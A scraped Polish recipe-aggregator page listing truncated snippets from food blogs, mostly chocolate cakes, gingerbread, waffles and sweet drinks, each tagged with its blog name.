dodatki, a całość przyrządzona perfekcyjnie. Niesiona smakiem wykorzystałam resztki pieczonego kurczaka, dojrzałego ananasa do własnego burgera, efekt - oszałamiający, ale królem dania jest sos BBQ z subtelnie wyczuwalną nutą gorzkiej czekolady. Słodko- pikantyny, delikatnie gorzkawy, komponuje się z bekonem i grillowanym ananasem tak dobrze, że zaskoczył nawet mnie samą ;)  Składniki na 6 szt Czas przygotowania: 65 min Czekoladowy sos barbecue(...)łyżeczki sosu Worcestershire 60 ml syropu klonowego lub miodu 80 g melasy 60 ml octu winnego 2 łyżki brązowego cukru 3 łyżki whisky 50 ml espresso 45 g czekolady klasyczna gorzka Goplana Dodatkowo 6 bułek pełnoziarnistych 1 świeży ananas 200 g rukoli 1 czerwona cebula 50 ml octu winnego 1 łyżka brązowego cukru 6 plastrów sera cheddar 6 plastrów bekonu

Słodki Kompromis
Babeczki z kremem chałwowym 144

mąki pszennej 35 g kakao 3 łyżki kawy rozpuszczalnej 1/2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody oczyszczonej 2 jajka 175 ml mleka 75 ml oleju 100 g gorzkiej czekolady 1/2 szklanki cukru Czekoladę rozpuścić w kąpieli wodnej, odłożyć do przestudzenia. W misce przesiać mąkę, kakao, kawę, proszek do pieczenia i sodę, dodać cukier, odłożyć. W drugim naczyniu wymieszać jajka(...)mlekiem, olejem i rozpuszczoną czekoladą. Do mokrych składników przełożyć suche, dokładnie połączyć, najlepiej drewnianą łyżką. Formę do muffinek wyłożyć papilotkami, wypełnić je ciastem. Piec w temperaturze 170 stopni przez około 30 minut, do tzw. suchego patyczka. Wystudzić. Masa chałwowa: 300 ml śmietany kremówki 200 g chałwy 200 g serka mascarpone Kremówkę przelać do garnuszka, dodać rozkruszoną chałwę, podgrzewać na małym

Domowa cukiernia Ewy
Babka majonezowa z czekoladą 125

Najpopularniejsza i najprostsza babka jaką znam. Zawsze się udaje i zawsze smakuje. Jednak tym razem postanowiłam dodać do niej pokruszonej czekolady. Babkowa straciatella wyszła bardzo ciekawie i pysznie. Składniki: pół szklanki mąki pszennej pół szklanki mąki ziemniaczanej 3/4 szklanki cukru 4 jaja 1 łyżeczka ekstraktu waniliowego 2 łyżki majonezu 1 łyżeczka proszku do pieczenia 100 g gorzkiej czekolady Wykonanie(...)Jaja ubić w całości, powoli dodawać cukier. Mąki wymieszane z proszkiem do pieczenia przesiać i dodać do masy jajecznej. Dodać wanilię i majonez. Szpatułką delikatnie wmieszać posiekaną czekoladę. Wlać do formy wysmarowanej masłem i piec w temp.180°C około 40 minut ( czas zależy od rodzaju piekarnika) lub do tzw. suchego patyczka. Po ostudzeniu polać polewą lub lukrem

Pysznie & Pięknie
Gofry z czekoladą z truskawkowym musem 96

jeść bez dodatków ale też z dużą ich ilością. Najczęściej podajemy je z cukrem pudrem lub z bitą śmietaną i owocami. A ja dodałam do ciasta gorzkiej czekolady. W połączeniu z musem truskawkowym dało to zwykłym gofrom ciut wykwintności. Składniki: 2 szklanki mąki 2 szklanki mleka 3 łyżki oleju 2 jaja 2 płaskie łyżki cukru łyżeczka proszku(...)pieczenia 50 g gorzkiej czekolady truskawki cukier puder(ilość zależy od upodobań) Wykonanie: Truskawki zmiksować w blenderze na mus z cukrem pudrem. Białka ubić na sztywno. Pozostałe składniki : przesianą mąkę z proszkiem, mleko, żółtka, cukier i olej zmiksować na gładką gęstą masę. Dodać wcześniej ubitą pianę z białek, drobno posiekaną czekoladę i delikatnie wymieszać szpatułką. Piec na złoty kolor

Pysznie & Pięknie
Ciasto na maśle orzechwoym 108

najbardziej zwłaszcza jako słodka polewa. Ciasto zasmakowało nawet mojemu wybrednemu synusiowi, więc chyba warto wypróbować. Składniki: ciasto 2 szklanki mąki pszennej 1 łyżeczka proszku do pieczenia 180 g gorzkiej czekolady 130 g miękkiego masła 1,5 szklanki drobnego cukru łyżeczka pasty waniliowej ew. olejku waniliowego 4 jajka - osobno żółtka i białka szczypta soli 0,5 szklanki masła orzechowego(...)szklanki cukru pudru 0,5 szklanki masła orzechowego (3-4 łyżki) 0,5 szklanki stopionego ostudzonego masła Wykonanie: Przesianą mąkę i proszek do pieczenia zmieszać i dodać sól. Rozpuścić czekoladę w tzw. kąpieli wodnej i odstawić do wystudzenia. W dużej misce utrzeć masło z cukrem i olejkiem waniliowym na bladożółtą masę. Dodawać po jednym żółtku dokładnie miksując po każdym. Zmniejsz

Pysznie & Pięknie
Sernik kajmakowy 91

dodać do niego trochę kajmaku takiego gotowego z puszki toż to niebo w gębie. Dla mnie bomba ........kaloryczna też. Składniki: na spód 150 g herbatników 100 g białej czekolady 100 g masła masa serowa 1 szklanka drobnego cukru 1 kg białego sera (dwukrotnie zmielonego) 200 ml śmietanki 30% 5 jaj 1 budyń waniliowy 1 puszka masy kajmakowej 3 czubate łyżki(...)kaszy mannej łyżeczka pasty waniliowej Wykonanie: Herbatniki zmielić lub mocno pokruszyć przy pomocy wałka lub tłuczka. Czekoladę rozpuścić w kąpieli wodnej. Wystudzić. Masło rozpuścić w rondelku. Wystudzić. Herbatniki, czekoladę i masło połączyć do uzyskania konsystencji mokrego piasku. Wyłożyć mocno dociskając dno tortownicy wyłożonej papierem do pieczenia. Ser, żółtka, śmietankę, suchy budyń, kaszę mannę i pastę waniliową dobrze razem zmiksować. Delikatnie

Pysznie & Pięknie
Ciasto kokosowo- orzechowe 130

łyżki bułki tartej 2 łyżki mąki pszennej 2 łyżki mąki ziemniaczanej 1 łyżeczka proszku do pieczenia polewa czekoladowa: 1 szklanka cukru 1/4 szklanki mleka 100 g masła 100 g czekolady mlecznej 2 łyżeczki kakao Wykonanie: Ciasto kruche: Schłodzoną margarynę posiekać. Dodać żółtka, zagnieść z cukrem, mąką i proszkiem. Ciasto wyrobić, włożyć do lodówki na około 30 minut. Masa jabłkowa: Jabłka(...)mąkę i proszek wymieszać. Dodać do masy i delikatnie wymieszać. Polewa czekoladowa: Masło rozpuścić. Dodać cukier i kakao. Mieszać aż wszystko się połączy. Wlać mleko. Dodać połamaną na kawałki czekoladę. Mieszać aż czekolada się rozpuści. Zagotować, chwilę pomieszać i zdjąć z ognia. Układanie: Blaszkę natłuścić i obsypać bułką tartą. Dno foremki wylepić ciastem Zimną masę jabłkową wyłożyć na kruchy spód

Pysznie & Pięknie
Czekoladowa Karpatka 144

Czekoladowa karpatka? A dlaczego nie? Dodatek kakao do ciasta i czekolady do kremu zmienił to popularne ciasto nie do poznania. Pyszne no i bardzo czekoladowe. Idealne dla fanów czekoladowych ciast. Składniki: na ciasto: 200 mąki 100 masła 5 jajek 250 ml wody sól 2 łyżeczki kakao pół łyżeczki proszku do pieczenia na krem: 0,5 litra mleka 2 łyżki mąki(...)pszennej 2 łyżki mąki ziemniaczanej 2 jajka łyżeczka pasty waniliowej pół szklanki cukru 200-300 g miękkiego masła 100 g czekolady gorzkiej Wykonanie: Zagotować wodę z masłem i szczyptą soli. Na wrzący płyn wsypać wymieszaną i przesianą mąkę, kakao i proszek do pieczenia i szybko ucierać. Gdy ciasto będzie lśniące i gładkie zdjąć z ognia i przestudzić. Wbijać

Pysznie & Pięknie
Ekspresowe pierniczki z nadzieniem różanym i polewą czekoladową 172

łyżki, jajka 2 szt, przyprawa do piernika 1 łyżka, imbir mielony szczypta, kakao 1 łyżka, soda oczyszczona 1 łyżeczka, masło 10 dag, nadzienie: marmolada różana pół małego słoika, polewa: czekolada mleczna 1 tabliczka, mleko 6 łyżek, Sposób przygotowania: Masło rozpuszczamy i studzimy. Składniki na ciasto łączymy i zagniatamy ciasto. Rozwałkowujemy ciasto na 3 mm, wycinamy pierniczki. Układamy na wyłożonej papierem(...)blaszce. Pieczemy przez 10 min w temperaturze 170 stopni.  Czekoladę łączymy z mlekiem i stawiamy na palnik. Mieszamy, aż czekolada się rozpuści i połączy z mlekiem. Połowe pierniczków moczymy w polewie i układamy na kratce. Drugą połowe pierniczków smarujemy marmoladą różaną i przykrywamy pierniczkiem z polewą czekoladową. Pierniczki możemy ozdobić lukrem lub gotową posypką. Przechowujemy w zamkniętym pojemniku. Smacznego

kulinarne odsłony pati
Sernik na ciasteczkach oreo z bitą śmietaną 158

ciasteczek oreo. Jeśli lubicie ciasteczka oreo to z pewnością Wam posmakuje ta wersja sernika. Wierzch ciasta zrobiony jest z puszystej, kremowej, bitej śmietany, posypanej mleczn ą  czekolad ą . Wszystkich sernikożerców, zapraszam do wypróbowania mojego przepisu. Składniki: spod: ciastka oreo 250 g, masa serowa: ser biały 1 kg, jajka 4 szt, cukier biały 1 szklanka(...)waniliowy 3 łyżki, aromat waniliowy 2 łyżki, olej pół szklanki, mleko pół szklanki, bita śmietana: śmietanka 30% 250 ml, bita śmietana(śnieżka) 1 opakowanie, dodatkowo: czekolada mleczna 6 kostek, Sposób przygotowania: Na spodzie tortownicy układamy ciastka oreo. Ja użyłam tortownicy o średnicy 26 cm.  Jajka ubijamy z cukrem, następnie dodajemy zmielony

kulinarne odsłony pati
Wafle ryżowe w czekoladzie - Kupiec 132

Wafelki ryżowe Kupiec oblane czekoladą to smakowita przegryzka do chrupania każdego dnia, również dla dzieci na przegryzkę szkolną. Dodają energii i zawarta czekolada poprawia samopoczucie.Wypiekane z całych ziaren brązowego ryżu, dostarczają tych samych składników co ryż naturalny. Doskonale smakują z owocami, a przy tym są bogatym źródłem magnezu, żelaza, witamin A i E oraz naturalnego błonnika. Wafelki ryżowe Kupiec(...)chrupiące, smaczne i zdrowe, dodatkowo polane czekoladą deserową lub mleczną

Gotowanie jest łatwe
Czekoladowe brownie / Chocolate Brownies 160

Składniki są na małe brownie na blaszkę o średnicy około 20 centymetrów. Składniki  120 g masła  150 g cukru  100 g brązowego cukru  120 g czekolady deserowej, najlepsza jest o dużej zawartości kakao 1 łyżka płynnego miodu  2 jajka  1 łyżeczka esencji waniliowej lub czekoladowej  75 g mąki pszennej  2 łyżki kakao(...)proszku  1/2 łyżeczki proszku do pieczenia  W rondla o grubym dnie rozpuścić masło razem z całym cukrem, czekoladą i miodem. Wszystko razem podgrzewać na małym ogniu aż do połączenia masy, następnie pozostawić do wystygnięcia. . wsypać oba rodzaje cukru i czekoladę deserową, wlać miód. Następnie należy utrzeć jaja z esencją i dolać do nich masę czekoladową, całość dobrze wymieszać

Delusional Trine
Tort Royal 197

Wyjątkowy tort dla wyjątkowych gości. Dla tych, którzy uwielbiają czekoladę. Po prosto królewski tort. Składniki: Biszkopt: 4 jajka 3 żółtka 1/2 szklanki drobnego cukru 1/3 szklanki kakao 1/2 szklanki mąki pszennej Białka oddzielamy od żółtek. Białka ubijamy na sztywną pianę, stopniowo dodając cukier. Gdy piana będzie gęsta i sztywna dodajemy żółtka. W oddzielnej misce mieszamy  przesianą mąkę z kakao(...)piekarniku nagrzanym do temperatury 170 stopni około 20 minut, następnie zmniejszamy temperaturę do 120 stopni i pieczemy jeszcze 15 minut. Bezę wyjmujemy i studzimy. Krem czekoladowy: 200g ciemnej czekolady 375g mascarpone 250g śmietanki kremówki 30% 1/3 szklanki cukru pudru Czekoladę roztapiamy i mieszamy z mascarpone. Mascarpone dodajemy po łyżce,  za każdym razem mieszając. Śmietankę ubijamy z cukrem pudrem

Pyszności Słodkości
Gofry z płynną czekoladą 218

Składniki: 2 jajka 300 ml mleka 230 g mąki pszennej opakowanie proszku do pieczenia 100 g stopionego masła szczypta soli syrop klonowy Sos czekoladowy: czekolada mleczna śmietanka 30-36% cynamon Przygotowanie: Jajka roztrzepać ze szczyptą soli, a następnie z mlekiem. Masło rozpuścić i wystudzić.  Mąkę wymieszać z proszkiem do pieczenia. Do masy jajecznej dodajmy płynne masło, a następnie stopniowo(...)patelni polewamy syropem klonowym i dosmażamy ponownie z każdej stronie po jednej minutce lub dwóch. A co z sosem czekoladowym? Cóż, to po prostu rozpuszczona w śmietance tabliczka czekolady z odrobiną mielonego cynamonu. Coś na wzór hiszpańskich churros maczanych w czekoladzie. Tak mi się zatęskniło za nimi

Karczma Honorietty
Tort Red Velvet urodzinowy 273

oleju 1 łyżka winnego octu ¼ łyżeczki waniliowej pasty 2 łyżeczki czerwonego barwnika otarta skórka z cytryny Krem 300 g twarożku lub serka ricotta 250 g masła 200 g białej czekolady 50-100 g cukru pudru wedle smaku Mus z czerwonej borówki 500 g borówki, mrożonej 150 g cukru pudru 5 listków żelatyny + 2 listki do galaretki 100 g serka ricotta(...)owocowego musu energicznie mieszając aby nie porobiły się grudki. Resztę musu to galaretka, którą udekorujesz wierzch tortu. Przygotuj krem. Ważne jest aby wszystkie składniki były w temperaturze pokojowej. Rozpuść czekoladę w kąpieli wodnej i ostudź. Zmiksuj masło z ostudzoną czekoladą. W osobnej misce zmiksuj serek z cukrem pudrem. Dodaj po łyżce serowej masy do czekoladowego kremu stale miksując. Montowanie tortu

codojedzenia
Ciasto pijak 265

cukry wanilinowe 200 g masła ok 1/2 szkl. skórki pomarańczowej kandyzowanej 3/4 szkl. rodzynek (namoczonych w rumie) rum Dodatkowo: dżem porzeczkowy (najlepiej 100%) op. okrągłych biszkoptów 100 g czekolady mlecznej i 50 g czekolady gorzkiej 5-6 łyżek śmietanki 30 % Dzień wcześniej namaczamy rodzynki w rumie – zostawiamy je na całą noc. Białka oddzielamy od żółtek, ubijamy na sztywną pianę(...)makowo-kokosowym. Następnie wykładamy krem, wyrównujemy. Do miseczki wlewamy ok. 1/2 szklanki rumu, namaczamy biszopty z obu stron i układamy na kremie jeden obok drugiego. Roztopioną w kąpieli wodnej czekoladą ze śmietanką robimy na biszkoptach esy-floresy

Smaki Na Talerzu
Torcik bakaliowy 153

kandyzowanej skórki z cytryny – 1/2 szklanki płatków migdałowych – 5 łyżek brandy – 3 łyżki dżemu z pomarańczy – 1/2 łyżeczki cynamonu Polewa czekoladowa – 1 czekolada gorzka – 1/2 szklanki śmietanki 30%   Wykonanie – Wymieszać wszystkie składniki farszu. – Tortownicę wyłożyć jednym blatem z piernika staropolskiego i wstawić do piekarnika nagrzanego(...)ostatni blat piernikowy. – Zmniejszyć temperaturę do 170 st.C i piec całość jeszcze przez 30 minut. – Podgrzać słodką śmietankę i rozpuścić w niej połamaną czekoladę. – Oblać czekoladą torcik i przykleić na wierzchu piernikową choinkę. – Po wierzchu posypać cukierkowymi perełkami

To co kocham
Galaretkowa PannaCotta z białą czekoladą, kruszonymi malinami i z mietą 136

białego wina deserowego lub słodkiego wina 1/2 laski wanilii 50 g cukru 125 g mrożonych malin 250 ml zimnej śmietany kremówki (minim. 2 godz. chłodzona) 100 g białej czekolady małe płatki mięty do dekoracji Wykonanie: Żelatynę zamoczyć w zimnej wodzie Wino postawić na ogniu, dodać do niego wyskrobany miąższ z 1/2 laski wanilii i samą laskę również, którą potem należy(...)szpatułą. Płaską blaszkę wyłożyć folią plastikową a na nią przełożyć masę i rozsmarować na całej powierzchni tworząc ładne nierówności. Blaszkę wstawić na minimum 2 godziny do lodówki do stężenia. Czekoladę zetrzeć na tarce na kręcone wiórki Po tym czasie wyjąć blaszkę z lodówki, posypać galaretkę wiórkami czekolady i posypać grudkami malin. Pokroić galaretkę w kwadraty i przybrać listkami mięty. Podać

Sztuka gotowania w/g Samiry
Klasyczny piernik w zdrowej wersji 136

pokuszę się o stwierdzenie, że jest nawet lepszy! Bez mąki pszennej i cukru za to z pysznym miodem, stewią, mąką owsianą i kokosową; przekładany domowymi powidłami i polany gorzką czekoladą. Stworzony przy akompaniamencie piosenek świątecznych w wykonaniu uroczego Michaela Buble. Składniki: 150g mąki owsianej 50g mąki kokosowej 2 łyżki  przyprawy do piernika 2 łyżki miodu 3 jajka 2 łyżki(...)proszku 200ml mleka  2 łyżki kakao 60g masła w temperaturze pokojowej 1 łyżeczka proszku do pieczenia 1 łyżeczka sody oczyszczonej + Domowe powidła śliwkowe  Polewa: 10 kostek czekolady gorzkiej 4 łyżki mleka 1 łyżeczka masła Przygotowanie: Masło, kakao, miód, stewię i przyprawę do piernika rozpuszczamy w rondelku. Zdejmujemy z ognia i ochładzamy. Dodajemy mleko i jajka. Energicznie mieszamy

Czarnawisienka
Piernik staropolski z masą serową waniliową, czekoladową i dżemem 193

łyżki cukru z prawdziwą wanilią (lub ziarenka z 1 laski wanilii + 2 łyżki cukru) 4 jajka 2 budynie waniliowe bez cukru 1 spora łyżka mąki ziemniaczanej 1 tabliczka gorzkiej czekolady 2/3 szklanki mleka oraz słoik gęstego dżemu porzeczkowego Miód, cukier i masło podgrzać stopniowo, doprowadzić do wrzenia, wymieszać do całkowitego rozpuszczenia cukru. Wystudzić. Do wystudzonej masy dodać mąkę pszenną, sodę(...)ciepła) wyłożyć na placek miodowy i przykryć drugim, lekko dociskając. Jego wierzch posmarować dżemem. Położyć trzeci placek, dociskając. Następnie do drugiej, jeszcze ciepłej części masy serowej dodać połamaną gorzką czekoladę i mieszając energicznie łyżką, rozpuścić czekoladę. Dobrze wymieszać. Później wyłożyć mssę czekoloadową i przykryć ostatnim plackiem, znów dociskając. Ciasto najlepiej przykryć szczelnie workiem foliowym i zostawić do ostudzenia, aby blaty

Czerwień i błękit
MUFFINY PIERNIKOWE ZE ŚLIWKĄ 135

Piernikowe muffiny z suszonymi śliwkami, polane czekoladą stanowią wspaniałe połączenie. Śliwki można zastąpić powidłem lub ulubionym dżemem. Składniki: 200 g mąki pszennej  55 g cukru trzcinowego  3 łyżeczki przyprawy do piernika 1 łyżka kakao  1 łyżeczka proszku do pieczenia 1/2 łyżeczki sody oczyszczonej  1 jajko  1/3 szklanki oleju 3/4 szklanki mleka  10 suszonych śliwek(...)Polewa: 75 g czekolady mlecznej ciemnej  Przygotowanie: Mąkę przesiewam przez sito, dodaje wszystkie suche składniki: cukier,przyprawę do piernika,kakao,proszek do pieczenia oraz sodę.   W drugiej misce łącze ze sobą mokre składniki: jajko, olej, mleko. Śliwki kroję na mniejsze kawałki Mokre składniki łączę ze suchymi, dodaję śliwki.  Ciasto przekładam do papilotek i wkładam do piekarnika

Kukuleczki
Dietetyczne ciasto piernikowe 455

zyskał nowe zdjęcia, dlatego aby przypomnieć Wam go nieco dodaję go ponownie. Smaczny, dietetyczny piernik na mące orkiszowej z jogurtem naturalnym. Miękki, przełożony domową konfiturą truskawkową i polany gorzką czekoladą. Dla wszystkich tych, którzy liczą kalorie ten piernik będzie zbawienny. Polecam przepis, gdyż piernik udaje się zawsze pomimo tego, że w składnikach nie ma jajek. Składniki (na małą formę keksową(...)gram mąki orkiszowej 2 łyżki miodu 1 łyżeczka sody oczyszczonej łyżka przyprawy do piernika łyżka kakao szklanka jogurtu naturalnego 2 łyżki oleju rzepakowego konfitura truskawkowa Czekoladowa polewa: 1/2 tabliczki czekolady deserowej 3 łyżki mleka pokruszone pierniczki do dekoracji i ulubiona posypka Miód podgrzewamy. Mąkę, proszek do pieczenia, sodę, przyprawę do piernika i kakao i przesiewamy do miski, dodajemy miód, olej

Mango Papaja
Masło migdałowe i kilka pomysłów na domowe smakołyki idealne na prezent 149

się mądrze zarządzać słodyczami w diecie dziecka, są wystawieni na ciężką próbę. Bo słodycze to ciągle nadal najczęstszy i najłatwiejszy prezent dla dziecka. Nic łatwiejszego jak kupić cukierki czy czekoladę. Słodycze są na wszelkich świątecznych imprezach, w paczkach z prezentami od znajomych, w przedszkolu, w pracy… czekoladowe mikołaje czyhają z każdej strony. Uwaga! macie prawo głośno mówić że tego(...)Można też podpiec w piekarniku tylko trzeba uważać, żeby się nie spaliły - chociaż ja raz robiłam masło z takich lekko przypalonych i też masło było pyszne, chociaż miało barwę czekolady. Migdały całkowicie przestudzić. Umieścić je w dobrym i wytrzymałym robocie kuchennym i następnie miksować przez ok 10-15 minut. W międzyczasie trzeba kilka razy za pomocą łopatki zgarniać migdały

Cooking for Emily
makowiec z kajmakowym marmurkiem 163

łyżki bułki tartej 1 łyżka mąki ziemniaczanej 1/4 szklanki mleka 1/2 szklanki rodzynek 100 g skórki kandyzowanej z pomarańczy 1/2 szklanki kokosu łyżeczka masła 4 łyżki kajmaku 50 g czekolady gorzkiej łyżeczka sody Kokos usmażyć na maśle z odrobiną cukru. Mak zalać wrzątkiem tak aby cały był przykryty, Kiedy ostygnie odcedzić i zmielić maszynką lub blenderem. Żółtka oddzielić od białek(...)sodę. Wmieszać delikatnie bakalie i pianę z białek. Ciasto przełożyć do foremki wyścielonej papierem do pieczenia i piec w 180*C około 30 minut. Wystudzić. Wierzch posmarować kajmakiem. Czekoladę rozpuścić nad parą, przełożyć do worka lub pisaka i wycisnąć na kajmak paski. Za pomocą widelca przeciągnąć czekoladę w poprzeczną stronę tak, aby utworzyć marmurkowy wzór

Domowa Cukierenka-Domowa Kuchnia
Piernik z marcepanowym sernikiem 104

Takie świąteczne dwa w jednym… Dwa blaty piernikowe, w środku sernik z dodatkiem masy marcepanowej, a tym co spaja wszystkie warstwy są powidła śliwkowe z rozpuszczoną czekoladą. Szczerze mówiąc osobiście oczekiwałam jednak po tym wypieku więcej. Być może to kwestia tego, że zarówno piernik jak i sernik (pomimo dodatku masy marcepanowej czy amaretto) smakowały bardzo, że się tak wyrażę(...)sera ricotta 200g masy marcepanowej 1/2 szklanki śmietanki 30% 1/2 szklanki cukru 3 jajka 2 łyżki mąki ziemniaczanej 2 łyżki likieru amaretto POWIDŁA: 1 1/2 szklanki powideł śliwkowych 50g czekolady gorzkiej Masło razem z miodem rozpuszczamy na małym ogniu, odkładamy do przestudzenia. Następnie ubijamy z jajkami. Dodajemy śmietanę oraz mąkę przesianą z kakao, proszkiem do pieczenia, sodą oraz przyprawą

Smaki Na Talerzu
Daktylowe trufle 99

daktyli bez pestek 1 szkl. suszonych śliwek 1 szkl. orzechów włoskich (u mnie mieszanka: włoskie, pekan, laskowe i kilka brazylijskich) 4 łyżki miodu 1/3 szkl. kakao 1/2 tabliczki gorzkiej czekolady (ja miałam z pomarańczą, i dość mocno zdominowała ona smak trufli) 1-2 łyżki rumu Śliwki, daktyle i orzechy mielimy w maszynce do mięsa. Całość polewamy miodem, zasypujemy gorzkim kakao(...)dodajemy roztopioną czekoladę. Mieszamy. Odstawiamy do lodówki. Ze schłodzonej masy formujemy równej wielkości kulki. Obtaczamy wg uznania: w gorzkim kakao, zmielonych migdałach, posiekanych migdałach, bądź orzechach, wiórkach kokosowych, lub polewamy białą czekoladą. Przechowujemy w chłodnym miejscu

Smaki Na Talerzu
Zimowa kawa z syropem mandarynkowym, jak ciepły sweter 160

Słodka, ciepła, karmelowo- korzenna i zostawiająca na buzi duże, białe wąsy z bitej śmietany ;) Do tego, tak bardzo kojarząca się ze Świętami, mandarynka w postaci syropu i wiórki białej czekolady- niebo! To już nie zwyczajna kawa, to ciepły kawowy sweterek, który możesz wlać w siebie, kiedy tylko przyjdzie Ci na to ochota! Rozgrzejmy się zatem karmelową kawą zbożową, zatapiając się(...)laskę cynamonu 2 czubate łyżeczki karmelowej INKI sok z 1 dużej mandarynki 1/2 łyżeczki miodu 150ml śmietany 30% / 36% lub spienione mleko 3 łyżeczki cukru pudru kostka białej czekolady Sposób przyrządzenia: 1. Sok z mandarynki wlej do małego rondelka, dodaj miód i gotuj przez ok. 10min. na średnim ogniu- do redukcji i zgęstnienia. 2. Wodę wlej do drugiego rondelka

Kuchnia w Słońcu Skąpana
Ciasteczkowa kawa z mlekiem 127

Idealny napój na zimowy czas. Pyszna kawa z ciasteczkami i ciepłym mlekiem. Dodatek imbiru sprawia że ta kawa najlepiej rozgrzewa. A czekolada to wiadomo jak na nas działa! Składniki : * szklanka wrzątku * 2 łyżeczki kawy rozpuszczalnej  * łyżeczka cukru trzcinowego  * ciepłe mleko * 2 ciasteczka korzenne starte na tarce * kostka czekolady  Przygotowanie : Kawę zaparzyć w większym kubku, posłodzić i wymieszać(...)ciasteczkami. Uzupełnić kubek ciepłym mlekiem. Posypać startą czekoladą

Magiczne Życie Marty
Maślane Ciasteczka Przełożone Marmoladą / Bez Jajek 159

Składniki na 1 blaszkę ciastek: 200 gr masła 100 gr cukru pudru aromat waniliowy 220 gr mąki pszennej 40 gr mąki ziemniaczanej Dodatkowo : około 200 gr marmolady 100 gr czekolady mlecznej lub deserowej lub białej ( u mnie deserowa z białą ) 20 gr masła Wszystkie składniki powinny być w temperaturze pokojowej ! 1. Masło ucieramy z cukrem pudrem na puszysta masę. Następnie(...)włożeniu ciastek do piekarnika obniżamy temp do 200 stop. i pieczemy przez około 10-15 min do ze złocenia. Po upieczeniu studzimy a następnie przekładamy marmoladą i zanurzamy w czekoladzie* *czekoladę/dy umieszczamy w miseczce nad kąpielą wodna razem z masłem i rozpuszczamy. Źródło książka "Moje Wypieki

Gotowanie...to proste !
Słodkie, ciasteczkowe, niezobowiązujące prezenty 208

Chyba każdy z nas cieszy się z niebanalnych prezentów Chciałam być zatem kreatywna i zamiast czekoladowych mikołajów i świątecznych czekolad wręczyłam tajemnicze woreczki a w nich przepyszne, kruche maślane ciasteczka i muffinki z marchewki z orzechami włoskimi. Żeby dodać aromatu i klimatu ✨ wrzuciłam do środka orzechy, goździki, pokruszone laski cynamonu, plasterki suszonej pomarańczy, gwiazdki anyżu Całość zapakowałam w materiał(...)mokre składniki i marchewkę. Wymieszaj wszystko łyżką i nakładaj do foremki do ½ wysokości papilotek. Wstaw po piekarnika na około 30 minut. W tym czasie zrób polewę – roztop jogurt z czekoladą, dodaj szczyptę skórki z pomarańczy. Mufinki wyjmij z formy, pozwól im trochę ostygnąć. Polej polewę po muffinkach i posyp orzechami. Składniki MUFFINKI Z ORZECHAMI 250 g marchewki 1 pomarańcza

Eat me! Fit me!
Keks piernikowy 169

sody oczyszczonej 2 łyżeczki  przyprawy do piernika 2 łyżki suszonej żurawiny 2 łyżki suszonej miechunki 1 łyżka  skórki pomarańczowej 1 łyżka kandyzowanych owoców Polewa: 1/2 tabliczki białej czekolady 2 łyżki mleka owoce kandyzowane do ozdoby Wykonanie: W garnuszku  na małym ogniu rozpuszczamy masło i cukier z wodą. Odstawiamy z kuchenki, wrzucamy rodzynki i pozostawiamy do wystygnięcia(...)ciasta powinien być suchy. Upieczone ciasto wyjmujemy z piekarnika, gdy lekko przestygnie wyjmujemy je z formy i studzimy na kratce. Gdy będzie całkowicie zimne robimy polewę. Czekoladę rozpuszczamy w kąpieli wodnej, stopniowo dodając mleko. Pamiętajmy, że biała czekolada nie lubi wysokiej temperatury i trzeba ją topić na małym ogniu. Gorącą polewą dekorujemy ciasto, a na koniec posypujemy keks owocami

Kulinarne przygody Gatity
Ciasto piernikowe z czekoladą 166

ciasto z pewnością nie przypomina tradycyjnego piernika. Za to jest lekkie i pachnie niesamowicie korzennymi przyprawami oraz kusi kawałkami czekolady. Do kawy na jesienno-zimowe wieczory sprawdzi się idealnie. Gwarantuję, że nie poprzestaniecie na jednym kawałku. Inspiracja: Moje Wypieki Składniki na keksówkę: 2 duże jajka 100 ml oleju 1 szklanka maślanki 250 g mąki pszennej 120 g drobnego cukru(...)wypieków 2,5 łyżki kakao 2,5 łyżeczki sody oczyszczonej lub proszku do pieczenia 3 łyżeczki przyprawy korzennej do piernika 100 g gorzkiej czekolady, posiekanej Przygotowanie: Wszystkie składniki powinny być w temperaturze pokojowej. Suche składniki przesiać, odłożyć. Jajka, olej, maślankę umieścić w naczyniu i zmiksować do połączenia się składników. Mąkę, cukier, kakao, proszek do pieczenia (sodę), przyprawę korzenną wymieszać. Dodać

Fabryka pomysłów
Łatwy piernik z powidłami i polewą czekoladową 937

Zapraszam na pyszny, korzenny piernik przełożony powidłami śliwkowymi. Bardzo aromatyczny, ponieważ dodajemy sporo przypraw, ale właśnie takie pierniki smakują mi najbardziej. Do tego polewa z gorzkiej czekolady i mamy idealny piernik. W przygotowaniu szybki i prosty. Najlepiej smakuje na drugi dzień, jak zwilgotnieje od powideł. Bardzo polecam… Zapraszam na FILM . Subskrybuj kanał Małej Cukierenki: http://www.youtube.com/malacukierenka (adsbygoogle = window.adsbygoogle || []).push(...)łyżeczce zmielonego imbiru, kardamonu po 3/4 łyżeczki zmielonych goździków, gałki muszkatołowej, ziela angielskiego Nadzienie: 200-250g powideł śliwkowych Polewa: 200ml śmietanki kremówki 36% 140g połamanej, gorzkiej czekolady o zawartości kakao 60% 3 łyżki płynnego, naturalnego miodu Dodatkowo: złoty barwnik spożywczy w proszku Ciasto: 1. Do rondelka przełożyć miód, olej, masło, cukier podgrzewać mieszając, aż składniki się roztopią i połączą

Mała Cukierenka
Biała czekolada na gorąco z marcepanem 183

Bardzo słodka czekolada o aromacie marcepanu. Rozjaśni nawet najbardziej ponury dzień Składniki • 1 l mleka • 100 g masy marcepanowej • 100 g białej czekolady • kilka kropli olejku migdałowego • 1 jajko • 1 płaska łyżka budyniu śmietankowego lub mąki ziemniaczanej • 3 łyżki cukru lub innego cukru zastępczego • płatki migdałowe Sposób przygotowania 1. Z mleka odlać szklankę resztę mleka ugotować. Do ciepłego mleka(...)dać połamaną czekoladę pokruszony marcepan kilka kropli  olejku migdałowego i cukier.Gy się zagotuje i są jakieś grudki,wszystko  zmiksować by powstała gładka masa 2. W odlanym mleku rozpuścić budyń dodać jajko zmiksować.  Wlać na gotujące się mleko, wszystko razem gotować cały czas mieszać. Rozlać do szklanek udekorować płatkami migdałowymi

W królestwie smaków Beaty
Świąteczna rolada z kurczaka 150

